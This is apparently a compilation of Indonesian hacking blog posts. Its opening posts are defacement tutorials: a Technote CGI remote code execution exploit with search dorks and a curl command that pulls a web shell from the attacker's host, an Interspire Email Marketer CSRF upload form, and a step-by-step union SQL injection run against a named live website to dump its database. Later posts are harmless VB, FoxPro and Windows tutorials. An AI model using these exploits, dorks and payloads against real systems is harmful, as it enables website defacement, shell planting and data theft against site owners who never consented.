Deface RCE (Remote Code Execution) Technote CGI Exploit 0.4

Bismillahirahmanirahim, Hallo sobat IT kali ini saya akan share exploit  Deface RCE (Remote Code Execution) Technote CGI Exploit 0.4 , sebelumnya thanks dulu buat tatsumi crew yang udah ngasih tutorial.

Langsung aja skuy lur..

++++++++++++++++++++++++++++++++++++++++++++++++++++

Dork : inurl:/technote/main.cgi

           inurl:/iboard.cgi site:kr (kembangin lagi )

Exploit : site.kr/[path]/main.cgi?board=FREE_BOARD

Tool : disini (perl file)

++++++++++++++++++++++++++++++++++++++++++++++++++++

Silahkan temen - temen cari targetnya dulu dah pake dork yang udah saya kasih ..

Jangan lupa save sourc tool yang udah saya share dengan extensi *pl , jika kalian pake linux pastikan terinstall dulu services perlnya, kalo yang pake windows bisa install Xampp kemudian simpan file di folder

  /xampp/perl/bin/  << 

kebetulan saya menggunakkan windows jadi saya pun memakai perl yang ada di xampp, selanjutnya buka CMD windows kalian , pastikan kalian berada dalam direktori /xampp/perl/bin , kalo dilinux kalian bisa langsung menjalankan. kemudian bisa langsung kalian jalankan exploitnya dengan memasukkan perintah:

cmd>perl exploit.pl http://target.kr/[path]/main.cgi?board=FREE_BOARD

Jika vuln maka akan seperti gambar diatas ini ^^^
kemudian kalian bisa test perintah perintah linux dulu untuk memastikan sudah terhubung dengan situs. seperti ls , uname -a , dsb.

Kemudian kalian coba cari cari dir yang bisa diupload file shell , untuk mengupload shell kalian . kalian paste dulu shell kalian di pastebin atau dimana saya yang penting shell kalian nantinya berbentuk text dulu terus kalian bisa gunakkan perintah:

curl http://situskalian.com/tes.txt --output shell.php

atau kalian bisa gunakan perintah yang kalian tahu silahkan, saya biasa menggunakan perintah ini.

 Jiksa shell kalian terupload maka akan seperti gambar diatas kalian bisa langsung cek shell kalian kalo begitu.

Jika tidak bisa upload file kalian bisa creat file saja dengan perintah

echo "Hacked by Peluru Kertas - Dx_Cyber">index.php

Silahkan kalian variasikan lagi karena tutorial dari saya terbatas.
Sekian tutorial yang bisa saya berikan mohon maaf bila ada kesalahan, semoga bermanfaat ilmunya
Wasallamualaikum

Deface Interspire Email Marketer 6.20 - CSRF File Upload

Bismillahirahmanirahin . .
Assalamualaikum sobat IT kali ini saya akan memberikan tutorial deface Interspire email marketer yang lagi buming2 katanya . Tapi temen - temen kebingungan dengan poc ini padahal cukup sederhana poc ini sob. langsung aja skuylah
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
PoC :  Interspire Email Marketer 6.20 - CSRF File Upload
Dork: intext:"Powered by Hairyspire Email Marketer 6.1.4" (use your brain)
Testing: site.com/admin//temp/surveys/
Exploit: surveys_submit.php?formId=[number]
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Pertama siapkan dulu targetnya setelah itu kita test apakah vuln atau tidak yaitu caranya dilihat dari direktori /admin//temp/surveys/ seperti gambar dibawah ini

Pada gambar diatas kita menemukan angka "999999999" maka angka tersebut kita masukan kedalam exploit jika tidak menemukan folder berangka masukan saja angka berapapun bebas nanti otomatis akan create folder angka tersebut pokoknya yang paling penting ada folder "surveys" nya, scriptnya ada dibawah sini

Script csrf:

<!DOCTYPE HTML>
<html lang="en-US">
<head>
    <meta charset="UTF-8">
    <title></title>
</head>
<body>
<form action="http://target.com/surveys_submit.php?formId=999999999" method="post" enctype="multipart/form-data">
    <input type="file" name="widget[0][field][][value]">
    <input type="submit" value="submit" name="submit">
</form>
</body>
</html>

Langsung saja pilih shell kalian kemudian submit.
kemudian kita cek folder shell kita biasanya berada pada folder angka terakhir yaitu pada folder /admin//temp/surveys/999999999 (999999999 adalah angka yang tadi

nah angka folder terakhir adalah 21 jadi bisa kemungkinan shell kita ada disana

tinggal cek saja

Vakekok eheheh .. yahh sampai disini saha yah sobat IT mohon maaf bila ada kesalahan
termakasih telah berkunjung.

Catatan : Kalo directorinya 403 forbiden coba discan pake file finder download sourcenya

Download

Mengatasi Lupa Password Subsystem Linux Bash Windows 10

Assalamualaikum warahmatullahi wabarakatu
Halo sobat IT sudah lama saya tidak memposting diblog ini, ya karena saya disibukan didunia real saya , tapi alhamdulillah sekarang saya dapat memposting diblog ini lagi menyempatkan waktu bernostalgia dengan tulisan tulisan tutorial haha.. okeh langsung saja skuy "Tutorial Mengatasi Lupa Password Subsystem Linux Bash Windows 10"..

Pertama buma command promt windows tentunya sebagai administrator

Kemudian ketikan perintah "ubuntu --default-user root" (tanpa kutip)

Kemudian buka subsystem linux kalian , bisa dengan mengetikan "bash" di cmd atau silahkan kalian dengan cara lain yang biasa kalian lakukan..

Lalu ganti password dengan mengetikan perintah "passwd userkamu" , untuk memasukan kedalam grup sudo masukan perintah "usermod -aG sudo userkamu"

Gunakan perintah "su - userkamu" untuk berpidah password, kemudian gunakan perintah "sudo su" untuk beralih keakses root

Okeh sudah berhasil
jika ingin menghapus user masukan perintah "deluser userkalian" di terminal subsystem linuxnya..

gunakan perintah "passwd userkamu" untuk mengetahui apakah user sudah terhapus atau belum.
Tolong beri komentar apabila saya melakukan kesalahan..
Ya mohon maaf tutorial ini hanya sampai sini yang bisa saya sampaikan semoga dilain waktu saya
semoga bermanfaat terimakasih ^_^
Barakallah fiikum

Menjalankan Program GNU Di Windows

Pada suatu hari saya ingin menjalankan program bash tetapi OS saya windows , mau install linux hardisk udah penuh dan gak punya leptop atau penyimpanan lain.. Tetapi disatu sisi saya sangat membutuhkan windows sebagai alternatif saya menjalankan aktifitas aktifitas perkuliahan.
Akhirnya saya mendapatkan solusi yaitu dengan menjalankan program GNU diwindows dengan menggunakkan MinGW .
Apa itu MinGW ?

"MinGW berarti Minimalis GNU untuk Windows: GNU adalah sumber tool pemrograman open source (GNU adalah singkatan dari GNU is Not Unix)."

-Sumbar google translate dan situs tutorial :VVV

Sebenernya sih masih banyak aplikasi aplikasi lain untuk menjalankan gnu diwindows hanya saja saya ingin mencoba yang satu ini saja.
nah supaya tidak tambah penasaran mending langsung coba deh sendiri langsung :3

Download Program : http://ouo.io/ZxhL6
Tutorial Install dan Setting : http://ouo.io/ZAPEC7

Tutorial SQLI Manual Basic Union Based

Assalamualaikum sobat IT ,,
alhamdulilla yah akhirnya kita ketemu lagi dengan saya ,,
kali ini saya akan berbagi teknik yah cukup terkenal lah dikalangan para underground
mereka biasa menyebutnya Proff sejuta Umat ,, ya tidak lain yaitu Sql injection dimana seseorang dapat menyisipkan perintah perintah sql ke paramater url sehingga dapat memanipulasi database target tersebut..
hanya saja saya kali ini yang versi manualnya dan yang paling dasar ..
langsung saja yu ke TKP ...

pertama jika kalian ingin menggunakan dork ,, gunakan dork
misal ..
inurl:/index.php?id=
inurl:/berita.php?tampil=
yang penting ada parameter yang jelas nya ..

selanjutnya jika sudah mendapatkan target kita akan melakukan order by  yaitu berguna untuk mengetahui jumlah table yang ada di database... :v

untuk live target saya yaitu :
http://www.jobperformance.dk/page.php?id=48

cara mengecek vuln nya dengan menambahkan tanda (') di belakang angka
contoh :
http://www.jobperformance.dk/page.php?id='48

nahh error berarti vuln

selanjutnya kita akan coba lakukan order by ..
liat gamabar

caranya order dengan menambahkan satu angka dibelakang terus sampai menemukan error

http://www.jobperformance.dk/page.php?id=48+order+by+1--
http://www.jobperformance.dk/page.php?id=48+order+by+2--
http://www.jobperformance.dk/page.php?id=48+order+by+3--
http://www.jobperformance.dk/page.php?id=48+order+by+4--
terusss ,,,
dan ..
http://www.jobperformance.dk/page.php?id=48+order+by+12--

yap ,, saya mendapatkan error di order by 12
berarti sudah dipastikan tablenya ada 11 buah ,,
jumlah table = order error -1 aja :v

selanjutnya kita akan mencari Magic number :v
yahh angka magic , begitulah para injektor menyebutnya :'v
caranya dengan melakukan -48+union+select+1,2,3,4,5,6,7,8,9,10,11-- (sesuai jumlah table)
sama seperti yang dilakukan order by tadi ,, hanya pake tanda "-" didepan angka
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,9,10,11--
dan apa yang terjadi ?

muncul angka "9" pemirsa :VV
nah jadi diantara angka 8 dan 10 disanalah yang nantinya akan kita masukan perintah perintah selanjutnya ,, dan angka 9 nanti akan dihilangkan ..
misalkan munculnya dua angka "9" dan "8" berarti kita bisa mengiject diangka "8" dan "9"
kita akan mencoba melihat Versi database yang dipakai oleh web tersebut :v
caranya dengan menambahkan "version()" atau "@@version". diletakan di posisi magicnum tadi
dan kita bisa melihat nama database dengan perintah "database()" atau "@@database" ..
ex:
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,database(),10,11--
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,version(),10,11--

nah disana kita telah mengetahui versi dan nama databasenya ..
v.5.5.54, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.

Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
ex :
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(table_name),10,11+from+information_schema.tables+where+table_schema=database()--

Nahh kita sudah mengetahui table table yang ada di database web tersebut ..

kita menemukan ada beberapa table yaitu :

cms2_backup,cms2_lang,cms2_news,cms2_options,cms2_pages,cms2_subscribers,cms2_ws_art,cms2_ws_cats

loh ko ada 8 yah ? :V Wallohualam sob harusnya kan 11 :VV

apa yang dilakukan selanjutnya ?? yah kita mencari username dan password ,,

kira kira ditable mana ya sob ? :v ane bingung nih .. :'v

okeh yang mana aja deh kita akan coba di table cms2_options

yaitu dengan menggunakan perintah

“group_concat(column_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --.

pada langkah ini kita harus mengconvert string nama table ke Decimal dulu atau ASCII Value 

gunakan toolnya disini.

nah hasil convetnya adalah (99 109 115 50 95 111 112 116 105 111 110 115 ) pisah kan dengan "," disetiap angka yang terpisah..

lalu masukan ke dalam CHAR(99, 109, 115, 50, 95, 111, 112, 116, 105, 111, 110, 115)

nah seperti itu ..

jadi :

http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(column_name),10,11+from+information_schema.columns+where+table_name=CHAR(99,%20109,%20115,%2050,%2095,%20111,%20112,%20116,%20105,%20111,%20110,%20115)--

wealah ko yang muncul malah kek ginian :'v bukan username password ,,

yang muncul adalah : lang_show_type,site_url,site_name,site_description,site_keywords,email_admin_url,g_analytics,c_email,c_person,c_name,c_address,c_zip,c_city,c_phone,c_fax,c_cvr,c_bank,c_bank_regno,c_bank_acount,c_map_url,news_num_show,sitemap,crumbs,print,tip,newsletter,news,ticker,rss,search,gallery,guestbook,webshop

tapi yowes lah gak papa pada dasarnya sama aja cara mengambil table dan kolom intinya ..

disana kita menemukan beberapa kolom atau biasa disebut "field" pada database kita akan coba melihat isi dari semua collum tersebut..

gunakan perintah group_concat(namafield,0x3a,namafield,0x3a,namafiled) . letakan 0x3a disetiap batas field

0x3a adalah hasil convert dari ":" ke Hexa

dan diakhiri dengan +from+cms2_options-- .. nahh cms2_options itu adalah nama table dari kolom tersebut..

jadi :

http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(lang_show_type,0x3a,site_url,0x3a,site_name,0x3a,site_description,0x3a,site_keywords,0x3a,email_admin_url,0x3a,g_analytics,0x3a,c_email,0x3a,c_person,0x3a,c_name,0x3a,c_address,0x3a,c_zip,0x3a,c_city,0x3a,c_phone,0x3a,c_fax,0x3a,c_cvr,0x3a,c_bank,0x3a,c_bank_regno,0x3a,c_bank_acount,0x3a,c_map_url,0x3a,news_num_show,0x3a,sitemap,0x3a,crumbs,0x3a,print,0x3a,tip,0x3a,newsletter,0x3a,news,0x3a,ticker,0x3a,rss,0x3a,search,0x3a,gallery,0x3a,guestbook,0x3a,webshop),10,11+from+cms2_options--

tinggal print Leet name kita caranya dengan mengkonvert dulu String kita misal "Injected by Peluru Kertas" ke hex ... di http://string-functions.com/string-hex.aspx

kemudian memakai 0x didepannya jadi nya

0x496e6a65637465642062792050656c757275204b6572746173

letakan didalam group_concat atau concat

jadi:

http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(0x496e6a65637465642062792050656c757275204b6572746173,lang_show_type,0x3a,site_url,0x3a,site_name,0x3a,site_description,0x3a,site_keywords,0x3a,email_admin_url,0x3a,g_analytics,0x3a,c_email,0x3a,c_person,0x3a,c_name,0x3a,c_address,0x3a,c_zip,0x3a,c_city,0x3a,c_phone,0x3a,c_fax,0x3a,c_cvr,0x3a,c_bank,0x3a,c_bank_regno,0x3a,c_bank_acount,0x3a,c_map_url,0x3a,news_num_show,0x3a,sitemap,0x3a,crumbs,0x3a,print,0x3a,tip,0x3a,newsletter,0x3a,news,0x3a,ticker,0x3a,rss,0x3a,search,0x3a,gallery,0x3a,guestbook,0x3a,webshop),10,11+from+cms2_options--

yahh kalian bisa mengembangkan variasi variasinya ,,,

sebenarnya masih banyak teknik teknik SQL Injection dan ini hanya sebagian kecil dari semuanya..

kita akan bertemu lagi dilain waktu dengan teknik2 lainnya tentunya

ini hanya permulaan..

sampai jumpa lagi semoga bermanfaat :D

Responsive FileManager Bypass Extension

Assalamualakum warohmatullohi wabarokatu ...
Hallo sobat IT kali ini saya akan share lagi nih mengenai webvuln ^_^
Vulnerability pada tool Responsive FileManager  yaitu dengan cara mengubah ekstensi filenya ^_^
oh iya berhubung domain .com blog ini telah mati mohon bantuannya ya teman teman buat up lagi visitornya ^_^
okeh langsung saja yuk ke TKP>>

[Source] Video Converted With Visual Basic .Net

Assalamualaikum warrohmatullohi wabarakatu ..
Apa kabar soba IT ^_^ ..
ya kali ini saya akan share video converted dengan vb.net .
saya dapatkan sourcenya dari website code project dan saya share lagi untuk menjelaskan kegunaannya .
Tool ini berguna bagi agan agan yang mau mengconvert size , ekstensi video .
Silahkan kembangkan lagi source ini supaya lebih greget lagi dengan menambahkan berbagai fitur dan kegunaanya ^_^
yo langsung saja deh nih gan link donglodnya

http://ouo.io/LupK8B

ZH Poster Peluru Kertas

Assalamualaikum waroohmatullohi wabarokatu ,,
Hallo sobat IT , kali ini saya akan share tool bikinan saya lagi nih hehe :D

"ZH Poster Peluru Kertas "

lumayan greget lah untuk setingkat saya seorang newbie :D
programnya cukup sederhana genk , tapi lumayan sangat membatu dalam aktifitas posting zone h untuk list yang banyak dan tidak perlu cape2 copas copas tinggal load target dan ok :D hehe
banyak kekurangan maupun kelebihnannya

untuk kelebihan :
Sangat cepat dalam memposting (jika internet lancar)
efisien

untuk kekurangan :
tidak ada result hanya ada log  (jadi harus cek sendiri ke onhold / archives apakah tersubmit atau tidak)

tapi meski begitu tool ini sangan membantu sekali genk untuk saya :D
untuk penggunaannya kita liat yuk cuplikan video dibawah ini :

Download tool : http://ouo.io/Bo379U [Update V1]

Source Mini Webdav Upload VB6

Assalamualaikum warrohmatullohi wabarokatu
Halo sobat IT , kali ini saya akan berbagi source "Mini Webdav Upload" dengan visual basic 6
dapat source dari codeproject saya ubah2 lagi sedikit hehe :)
ya sesuai banyaknya pesanan source akhirnya saya share source ini juga, lumayan buat pembelajaran
Memang projectnya saya sederhana supaya dapat dikembangkan lagi oleh kalian lagi hehe :D
Penggunaanya gampang tinggal pilih file maka langsung mengupload sendiri filenya
Mau dibikin mass upload atau apapun terserah silahkan kembangkan lagi :D seperti halnya saya mencoba mengembangkannya menjadi mass exploiter webdav hanya saja saya memakai VB.NET tetapi tidak ada bedanya fungsinya masih sama

penampakan :

Langsung saja deh download dan share ke temen2 projectnya supaya bermanfaat :) see you
semoga bermanfaat :

http://ouo.io/6PI43 source minidav
http://ouo.io/Cjx3sn7 aplikasi minidav

Source CRUD VB 6.0 Database MySQL

Hallo soba IT sudah lama nih mimin gak update update,,
kali ini mimin ada request nih minta source CRUD visual basic pake database MySQL .
kalo ditempat lain sih biasanya error error ya kalo dimari dijamin deh kecil kemungkinannya error karena mimin gak suka copas dan asal mosting ,, mimin suka bikin dan coba sendiri.

Kalo mau source ini minimal udah taulah dikit2 apa itu MySql , apa itu database , APA ITU VISUAL BASIC,, pake aplikasi Xampp aja deh tuh udah kumplit nyediain fitur2nya sql , apache ,ftp .
Langsung aja deh yuk cekidot ,, download dulu bahannya.

http://ouo.io/20douO ODBC Konektor
http://ouo.io/0q2dyO Project VB CRUD nya

Hal pertama dilakukan adalah import Databasenya dulu ke MySql

Nah selanjutnya buka ODBC konektor yang udah kalian download tadi itu

klik add untuk menambahkan configurasi ODBC baru >>

pilih MYSQL ODBC 5.3 ANSI DRIVER , klik finish
lalu sesuaikan configurasinya seperti dibawah ini

tinggal test aja deh sampai bener2 konek ,,
kalo udah gituh tinggal coba aja projectnya jalan apa enggak ..

Kalo punya ane jalan nih gan :

Kalo ada error biasanya pada komponen vb nya hapus aja terus ganti yang baru
misalnya Command1 nya hapus terus bikin lagi yang baru terus sesuain Namenya sama yang tadi
ngerti ? :v
Lebih Giat Lagi Belajar ! :v haha
see you again letter ..

Tutorial Membuat MsgBox Pertanyaan Di VB 6.0 dan VB.NET

assalamuaikum warrohmstullahi wabarakatu ..
salam sobat IT semua kali ini saya share tentang
"Bagaimana cara Membuat MsgBox Pertanyaan Di VB 6.0 dan VB.NET"
yaitu menambahkan perintah pada result klik msgbox , kali ini saya akan menambahkan perintah "End" pada result ok vbmsgbox nya

Nah seperti gambar diatas ,, ketika kita mengklik Ok maka form akan menutup programnya karena saya sisipkan perintah untuk keluar di msgbox resultnya ,, kita mulai di VB 6.0 dulu yuk gan cekidot

1. Siapkan satu buah form dan satu buah command button

setelah itu masukan coding dibawah ini

Spoiler for script

VB Code:

Private Sub Command1_Click()
Dim keluars As VbMsgBoxResult
keluars = MsgBox("Yakin mau keluar ?", vbQuestion + vbOKCancel, "Keluar?")
If keluars = vbOK Then
End
End If
End Sub

   perhatikan gambar diatas  , kemudian coba run project nya

VB 6.0 Selesai ... selanjutnya kita coba di VB.Net

1. Langkah pertama sama kita siapkan satu buah form dan 1 buah button

Masukan coding diwabah ini kedalam project code nya

Spoiler for script

VB Code:

Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim keluar As MsgBoxResult
keluar = MsgBox("Yakin mau keluar ?", vbQuestion + vbOKCancel, "Keluar?")
If keluar = MsgBoxResult.Ok Then
Close()
End If

End Sub

perhatikan gambarnya coba ,,

Coba jalankan programnya :

Yapp sudah selsesai dua duanya ,, :) sekian tutorial dari saya :D sekian gan semoga bermanfaat :)

E Book Membuat Program CRUD Di Foxpro 6.0

Assalamualaikum warrohmatullohi wabarokatu sobat IT ,,
E book saya kali ini akan menjelaskan nih langkah langkah untuk membuat program CRUD dengan foxpro ,, sebelumnya udah tau gak gan apa itu CRUD ? CRUD yaitu Creat Read Update Delete ,,
Kenggulan membuat program CRUD difoxpro adalah kita tanpa susah2 menambahkan coding / syntax yang rumit rumit , bahkan tidak perlu menambahkan syntax juga bisa . langsung saja gan download aja E - Booknya biar bisa dipelajari offline :

Semoga bermanfaat ^_^

http://ouo.io/w0ziR
kalo dipassword passwordnya : peluru